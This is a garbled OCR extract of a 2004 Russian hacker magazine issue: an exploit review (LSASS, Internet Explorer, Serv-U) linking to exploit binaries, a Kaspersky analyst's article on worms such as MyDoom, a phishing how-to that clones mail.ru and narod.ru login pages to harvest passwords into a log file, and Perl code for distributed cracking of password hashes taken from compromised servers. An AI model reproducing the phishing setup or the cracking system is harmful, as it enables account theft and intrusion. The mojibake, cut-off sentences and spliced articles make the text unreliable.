книги хакеры / журнал хакер / 063_Optimized

ОБЗОР ЭКСПЛОЙТОВ

Докучаев Дмитрий aka Forb (forb@real.xakep.ru)

MS04-007 LSASS.EXE REMOTE DOS EXPLOIT

ОПИСАНИЕ:

Понятное дело, что багов в винде достаточно, но на этот раз найденные ошибки оказались особенными. Потому как к ним возможно обращение че- рез RPC. И, естественно, сразу появился эксплойт. Скорее, это было обусловлено предшествующим появлением червя msblast (в аккурат после выкладывания полноценного эксплойта). Все в нетерпении затаили дыхание и гадали - что же будет дальше? А дальше вышел нюк против сервиса LSASS.EXE (какое красивое название ;)). После эксплуатирования жертвы, передается кривой пакет, убивающий системную службу. И в завершение выползает греющее душу окошко, сообщающее о перезагрузке системы.

ЗАЩИТА:

Íà microsoft.com сливай необходимое добро от Билла Гейтса. Тем, кто не может (или не хочет) ставить патчи, необходимо закрыть файрволом 445 порт.

ССЫЛКИ:

Хочешь поприкалываться над локальными окошками? ;) Тогда сливай экзешник отсюда: www.securitylab.ru/_tools/MS04-007-dos.exe. Только не забывай, что все хакерские действия преследуются законом. Для профи существует исходник, который можно изучить на досуге (www.xakep.ru/post/21233/exploit.txt). Пострадал сам? Тогда выкачивай специальный патч (список заплаток тут: www.xakep.ru/post/21189/default.asp).

ЗЛОКЛЮЧЕНИЕ:

Выход досера для LSASS.EXE – это только цветочки. Скоро будут и ягодки в виде полноценных эксплойтов и червяков. Как показывает печальный опыт, хакеры не дремлют, а пишут эффективные эксплойты.

GREETS:

Первый смертельный код в паблик источники предоставил Christophe Devine. Местоположение хакера не указывается, поэтому связаться с ним невозможно.

INTERNET EXPLORER URL JAVASCRIPT INJECTION

ОПИСАНИЕ:

10 февраля Microsoft выпустила патч, устраняющий три уязвимости в ослике IE 6.0. Одна из них была потенциально опасной, так как позволяла выполнять любые локальные команды. Правда, под правами текущего пользователя. Суть баги следующая: в винде существует файл travel.log, куда скидываются все сайты, которые посетил юзер. Таким образом, кривой запрос к этому файлу (через JavaScript) позволяет создать не менее кривой html-документ. Последний и будет наглым образом компрометировать систему, выполняя пакостные команды :).

ЗАЩИТА:

Зашита единственная – поставить патч. И на всякий случай, не броди по левым сайтам, а то вмиг лишишься своих паролей и всей системы :).

ССЫЛКИ:

Патч для защиты осла можешь слить с официального сайта (www.microsoft.com/downloads/details.aspx?FamilyId=BE0C 18BC-7F9A-4196-BFDE-29EBA8CF7A50&displaylang=ru). Эксплойт и краткое описание по применению берем здесь: www.securitylab.ru/42666.html.

ЗЛОКЛЮЧЕНИЕ:

Бага довольно просто фиксится, но очень многие пользователи забывают ставить патчи. Поэтому выводы делай сам. От массового падения форточек спасает лишь то, что немногие сидят под правами администратора...

GREETS:

Простой скрипт для эксплуатирования был написан Andreas Sandblad’ом. Код благополучно создает произвольный файл на десктопе пользователя.

SERV-U FTP SERVER

EXPLOIT

ОПИСАНИЕ:

В самом популярном FTP-сервере под винду была обнаружена ошибка. Переменнаяназвание файла имела максимальный размер 256 байт и не проверялась на переполнение. В теории, если грамотно составить шеллкод, то сервер может выполнить любые действия под правами администратора. Шеллкод передается через команду SITE CHMOD, и именно на это и ориентирован эксплойт.

ЗАЩИТА:

Патчей для SERV-U нет. Единственным способом защиты является переход на свежую версию демона (www.serv-u.com). Альтернативный метод защиты - запрещение использования CHMOD.

ССЫЛКИ:

На самом деле, эксплойтов два. Первый из них является досером (после его применения сервис завершает работу). Второй открывает шелл на 53 порту. Ссылки на все версии эксплойтов ищи в документе security.nnov.ru/search/news.asp?binid=3394. Подробное описание ошибки находится здесь: security.nnov.ru/search/document.asp?docid=5676.

ЗЛОКЛЮЧЕНИЕ:

SERV-U самый популярный демон в локальных сетях. Поэтому, если ты состоишь в такой сетке, то у тебя есть реальный шанс порутать с десяток компов. Правда, существует определенный риск получить от администратора по голове :).

GREETS:

Эксплойт был написан человеком под ником SkyLined <SkyLined@EduP.TUDelft.nl>. Ему помогал H D Moore (написал шеллкод). Найти этих людей можно в IRC (DALNet, #netric).

MYDOOM:

ÌÛ

ÒÅÁß

ВЫЛЕЧИМ

MYDOOM: МЫ ТЕБЯ ВЫЛЕЧИМ

ния с интернетом у людей, чьи компьютеры были заражены червем, из-за таких незапланированных отправок фоток.

Некоторые же черви размножаются не че- рез почту - они находят бреши в системах, установленных на компьютерах, сканируя большие диапазоны IP-адресов, и, найдя уязвимую цель, проникают внутрь. После проникновения на удаленную машину черви преспокойно делают свою работу, одновременно не прекращая поиски новых уязвимых компов в Сети. К таким червям относится и небезызвестный MsBlast. Эта зараза использовала брешь (RPC), присущую всем непропатченным компам под управлением семейства виндовых (ХР/2000). Червина проникал на непропатченные тачки и начинал искать в Сети другие неустойчивые системы, одновременно перезагружая комп жертвы при каждом соединении с интернетом. Если у человека был доступ в Сеть не через модем, а через выделенный канал, то Бласт вырубал его от балды, иначе - каждые полминуты.

Несложно сделать вывод, что чем дольше червь находится на свободе, тем выше скорость его распространения. Скорость размножения червя в Сети напрямую зависит от того, сколько компьютеров уже заражено.

Между этими двумя величинами существует зависимость, рассчитываемая по формуле геометрической прогрессии.

К ЧЕМУ ЭТО ПРИВОДИТ

Последствия действий интернет-червей порой печальны до безумия и впечатляющи по своим масштабам. В результате действий отдельных индивидуумов зачастую бывают парализованы многие сегменты интернета и внутренние сети различных корпораций и компаний. Это приводит к простою компьютерного времени, что и влечет за собой большие материальные убытки.

Вместе с этим черви уничтожают важную информацию, на восстановление которой требуется много времени, сил и денег. За счет большого количества трафика, затрачи- ваемого при работе червя, скорость падает в несколько раз и порой работать становится просто невыносимо.

СПОСОБЫ КОНТРАЦЕПЦИИ

Т.к. черви обычно гости нежданные, то готовиться к их приходу следует заранее. Если сидеть сложа руки, "защитившись" антивирусом, и думать, что черви не проберутся на твой компьютер, то твоя система, скорее всего, загнется где-то эдак со вторника на среду.

Тот же файрвол, установленный на твоем компе и правильно сконфигурированный, всегда оповестит тебя о том, что какая-то злобная программа назойливо долбится в интернет. Так что этим чудом программистской мысли не стоит пренебрегать.

Также не мешает хотя бы раз в сутки посещать интернет-порталы, специализирующиеся на сетевой безопасности. Там тебя заранее уведомят о том, какие найдены баги в программном обеспечении, какие новые твари выползли на просторы интернета и как с ними бороться. Помни о том, что на ресурсах, посвященных интернет-секьюрити, люди довольно быстро реагируют на новые дыры, через которые можно проникнуть на удаленный терминал, и выкладывают свежие патчи, чтобы обезопасить себя, залатав бре-

Интернет-черви - очень неприятная вещь, отнимающая у пользователей много времени, трафика, сил и порой лишающая важной информации. Хорошо предохраняйся, и тогда ты сведешь к минимуму вероятность заражения своего компьютера.

Совсем недавно черви проползли и

âICQ. Новая зараза, именуемая Blaze, рассылается

âвиде сообщения

âасе. В этой мессаге находится ссылка на сайт, после посещения которого на компьютер жертвы заливается жабовский скрипт через дыру

âInternet Explorer. Затем червь начи- нает рассылать себя по всему кон- такт-листу и прописывается в определенных ветвях реестра. Червь также отсылает хозяину информацию о различных аккаунтах, например, e-gold.

Немалую роль в распространении интернет-червей играет почтовый

спам. Спам и черви тесно взаимосвязаны между собой, как сообщили эксперты из лаборатории Касперского.

Компьютер заражен

MYDOOM: МЫ ТЕБЯ ВЫЛЕЧИМ

ши. Промедление в этом деле может стоить тебе потраченных нервов и потери важной инфы, если на твой компьютер проберется червь или просто какой-нибудь злоумышленник. Достаточно вспомнить про эксплойт, вышедший уже на следующий день после обнаружения серьезной баги в Microsoft ASN.1 Library в виндах 2000/XP и эксплуатирующий ее. Как ты думаешь, многие успели пропатчиться за сутки? Да практически весь интернет еще можно поиметь через эту дыру, и это не громкие слова, а сухая констатация фактов. Шанс, что в ближайшее время появится новый червь, эксплуатирующий багу в ASN.1, очень велик, так что всплеска эпидемии свежего червя можно уверенно ожидать уже на днях, а все потому, что большинство людей не могут заранее подготовиться к отражению атаки из интернета.

Безусловно, не стоит сбрасывать со сче- тов такой вид защиты, как антивирус. К сожалению, при защите от червей, так же как и с патчами, необходимо быть максимально оперативным и регулярно обновлять базу антивируса. Через пару дней (а то и часов) после обнаружения очередного ползучего гада в Сети, антивирусные базы будут уже пополнены и готовы дать отпор новому врагу.

ХИТ-ПАРАД ЧЕРВЕЙ

Да нет, не будет здесь никакого хит-парада, я просто хочу привести в качестве наглядного примера некоторых особей этих ползучих гадов. В свое время они наделали немало шума в кругах интернетчиков.

I-Worm.Klez - этот червь использовал брешь в браузере Interner Explorer и умел распространяться по электронной почте. Также червь заражал вирусом расшаренные ресурсы в Сети. В результате действий червя зараженный компьютер начинал очень сильно тормозить. Клез, плюс ко всему, инфицировал файл explorer.exe, создавал в расшаренных папках диска левые файлы размером 10 Кб и с двойным расширением. Чтобы не подхватить эту заразу и не допустить ее автозапуск на компьютере, требовалось всего-то пропатчить браузер.

Следующий нашумевший червь, Melissa, рассылался в электронных сообщениях с приаттаченными зараженными файлами Microsoft Word 97 или 2000. Попав на новый компьютер, червь начинал рассылать себя по первым 50 адресам из записной книжки почтового клиента Outlook. Мелисса очень быстро распространилась по всему миру. Многие компании несли большие убытки от действий этого червя.

Ïервая копия червя MyDoom была обнаружена около часа но- чи с 26 на 27 января. В течение часа уровень потенциальной

угрозы был определен как критический. Все антивирусные компании сразу же выпустили обновления своих продуктов для детектирования нового червя. Эпидемия продолжала стремительно распространяться по всему миру, и к 6 часам утра, проанализировав почтовый трафик, мы пришли к выводу, что это будет самая крупная вирусная эпидемия в истории сети интернет.

Эпидемия продолжается и по сей день. Несмотря на то, что после 12 февраля MyDoom перестал рассылать себя по почте, он все еще функционирует на тех компьютерах, где неправильно установлена дата. До сих пор к нам на электронную почту ежедневно приходит до 300 писем, зараженных этим червем. Просмотрев текст самих писем, можно заметить, что дата отсылки - 1997, 1998 или 2000 гг. То есть можно говорить о том, что из-за неправильной даты на некоторых компьютерах червь продолжает распространяться, хотя уже и не в таких масштабах.

На сегодняшний день убытки по причине вредоносных действий червя MyDoom уже составили порядка 30 миллиардов долларов, что дает полное право назвать этого червя самым вредоносным за всю историю существования сети интернет. Также в скором времени следует ожидать новой эпидемии вирусов и червей, которая, вероятнее всего, произойдет в связи с утечкой исходных кодов Windows и использованием недокументированных функций ядра операционной системы.

К сожалению, вычислить авторов червей и вирусов в настоящий момент довольно проблематично, но уже сейчас созданы органы по борьбе с киберпреступностью. Наглядным примером является арест 19-летней девушки, более известной в Сети под ником Gigabyte, которая с 14 лет занимается вирусописательством. На ее счету создание нескольких известных червей и вирусов, в том числе есть подозрения, что авторство червя, вышедшего на просторы интернета в августе прошлого года (Sobig.f), также принадлежит ей. Случаи задержания киберпреступников на сегодняшний день единичны, но мир прекрасно осознает, какую угрозу этот вид деятельности представляет для интернета в целом, поэтому в ближайшем будущем следует ожидать ужесточения законов, относящихся к деятельности в Cети, и дальнейшего развития органов киберправопорядка.

Александр Гостев, вирусный аналитик "Лаборатории Касперского"

Отчет по поиску

ПОЧТОВЫЙ

ßÙÈÊ

ВЗЛОМАН!

Марина Попкова

На нашем диске лежат все описанные скрипты и HTML-формы.

ТВОЙ ПОЧТОВЫЙ ЯЩИК ВЗЛОМАН!

Левый mail.ru

– mail.nsd.ru), причем в строке адреса опять будет написан тот же mail.ru.

СБОР УРОЖАЯ

После отправки подобного письма хакеру остается лишь подождать, когда же лопоухий юзверь "пройдет повторную авторизацию". В случае успеха в файле http://mailru.nsd.ru/log.txt

появится новая запись с логином и паролем. Как ты, наверное, понимаешь, таким способом можно ломать не только почтовые сервисы, но и аккаунты пользователей хостингов.

В log.txt добавилась новая запись

Возьмем для примера популярный бесплатный хостинг narod.ru. Достаточно скопировать страницу с формой ввода пароля и в форме LoginForm вместо action=http://passport.yandex.ru/cgibin/Reg.pl?mode=auth&retpath=http://narod.ya ndex.ru/userarea/after_register.xhtml указать адрес левого скрипта (action=http://nsd.ru/cgi- bin/narod-auth.cgi). Осталось сделать массовую рассылку писем с просьбой заново залогиниться, чтобы получить кучу аккаунтов от различных пользователей.

КАК ОТ ЭТОГО ЗАЩИТИТЬСЯ?

Чтобы защититься от такого вида социальной инженерии, надо учиться на чужих ошибках и всегда задумываться, а не хотят ли кинуть тебя. Так что будь начеку. И если кто-то вдруг предложит зайти на некий сайт, лишний раз подумай, нет ли там какой-ни- будь подставы. Также не стоит юзать осла (MSIE). Лучше поставь какой-нибудь менее распространенный браузер, где хакеры еще не отловили много багов. Могу посоветовать два браузера: Opera (www.opera.com) è Mozilla (www.mozilla.org).

ВЫВОДЫ

А выводы весьма печальные. Ошибки в IE обнаруживаются чуть ли не каждый день. И вряд ли их станет меньше. К тому же недавно выложили часть сорсов win2k. Теперь багокопатели заработают еще жестче. А юзеры, по своей лени или тупости, будут по-прежнему забывать ставить заплатки, что в итоге приведет к появлению в Сети тысяч потенциальных жертв. И, естественно, их кто-нибудь будет ломать. Так что мой тебе совет: всегда следи за новыми ошибками, патчи себя и будь бдителен! Не дай себя обмануть! z

В Internet Explorer’е присутствует множество других ошибок, которые могут привести к угону чужих аккаунтов. Например, ошибки в CSS. Об этой баге читай статью в этом же номере.

ПРЕВРАТИЛОКАЛКУ

На нашем компакте ты найдешь архив со скриптами, а также модуль Perl-CGI. В качестве бонуса на диске будет выложен переборщик John The Ripper.

Íет, я не собираюсь кодить ужасный скрипт, который будет искать воду на Марсе или жизнь на Солнце. Идея носит чисто хакерский харак-

тер и, на самом деле, довольно банальна. Представь себе:ПОВЕРЬ МНЕ, ЭТО НЕСЛОЖНО

ты поимел шелл на крутом серваке (неважно каком) и случайно наткнулся на базу паролей. Перебирать их на твоем слабеньком компьютере невозможно, либо просто нет желания этим заниматься. Ты спросишь, причем же здесь система, и полу- чишь достойный ответ ;). Алгоритм довольно простой: на web-сервер помещается несколько скриптов, выполняющих всего две функции. Это прием зашифрованного пароля и выдача его клиенту. Если ты думаешь, что клиент – это пользователь, принявший участие в вычислениях, то ты немного ошибаешься. На самом деле, клиент – это тоже скрипт, являющийся частью системы. Именно он выполняет запросы к серверу. Понача- лу алгоритм выглядит сложно и интригующе, но в дальнейшем все станет ясно.

ВСЕ НАЧАЛОСЬ... С КОНФИГОВ

Когда я берусь за какой-либо проект, то на- чинаю с процесса составления конфигов. Если конфигурационный файл придуман, то сам код пишется очень просто. В моем случае серверный конфиг называется main.inc. Его предназначение - определить

главные пути системы и установить значения некоторых переменных. Рассмотрим этот файл подробнее.

MAIN.INC – ГЛАВНЫЙ КОНФИГУРАЦИОННЫЙ ФАЙЛ

$etcdir='etc'; ## Путь к базе паролей $logdir='log'; ## Путь к журналу системы $saltfiledes="$etcdir/des.fs";

##Пути к зашифрованным паролям (DES и OpenBSD BlowFish)

$saltfileob="$etcdir/ob.fs"; $mainlog="$logdir/mainlog.fs"; ## Лог общих запросов

##Каталог для идентификаторов пользователей

$userdir='users';

# System variables

$countcrack=3; ## Максимальное число отправки пароля

Если в случае с путями вопросов не возникает, то назначение последней переменной вызывает интерес. Пользователям разрешается запросить определенный пароль только $countcrack раз, поскольку код может быть очень сложным, а загружать им систему нерационально. Дефолтовое число попыток очень мало, его рекомендуется инкриминировать с ростом популярности системы.

ТАКИЕ РАЗНЫЕ ПАРОЛИ

В пингвине пароли шифруются не единственным методом. Общеизвестных способов как минимум два: DES и OpenBSD BlowFish. Именно их расшифровку я реализовал в своей системе. Каждый шифр находится в определенном файле (des.fs и ob.fs) и посылается клиенту в зависимости от выбора пользователя. После того как john расшифрует пароль, сценарий обращается к серверу и отправляет расшифрованный пассворд. В скрипте реализована проверка на вшивость ;) – запись в лог производится после выполнения небольшой процедуры. Она проводит сравнение кода, составленного по присланному паролю, с тем, который

ПРЕВРАТИ ЛОКАЛКУ В МАШИНУ УБИЙСТВА

while(<PWD>) {

push(@salts,$_); ## Заполняем массив @salts

}

close(PWD);

openquery(">"); ## Открываем ту же базу для записи foreach (@salts) {

if ($_ ne $salt) {

print PWD "$_" ## На лету просматриваем массив } else {

($user, $pwd, $oid, $count)=split(':',$_); $count++; ## Увеличиваем порог

if ($count < $countcrack) { ## Если порог не предельный ## Записываем в базу строку

print PWD "$user:$pwd:$oid:$count\n"; } else {

## Иначе комментируем строку

print PWD "\#$user:$pwd:$oid:$count\n";

}}}

close(PWD);

## Не забываем вернуть идентификатор хозяина return($oid);

}

Суть процедуры заключается в том, чтобы проследить пороговое значение и закомментировать салт, если это необходимо. Понятное дело, что комментированные строки не обрабатываются скриптом (то есть просто пропускаются).

Как ты заметил, в процедуре засветилась загадочная функция openquery(). Она, как видно из комментариев, открывает нужную

Параметр –rules необходим для более сложного перебора по словарю. Если он указан, каждое слово в вордлисте будет изменяться в регистре и добавляться к случайным цифрам. Иными словами, шанс удачного перебора при наличии –rules резко возрастает.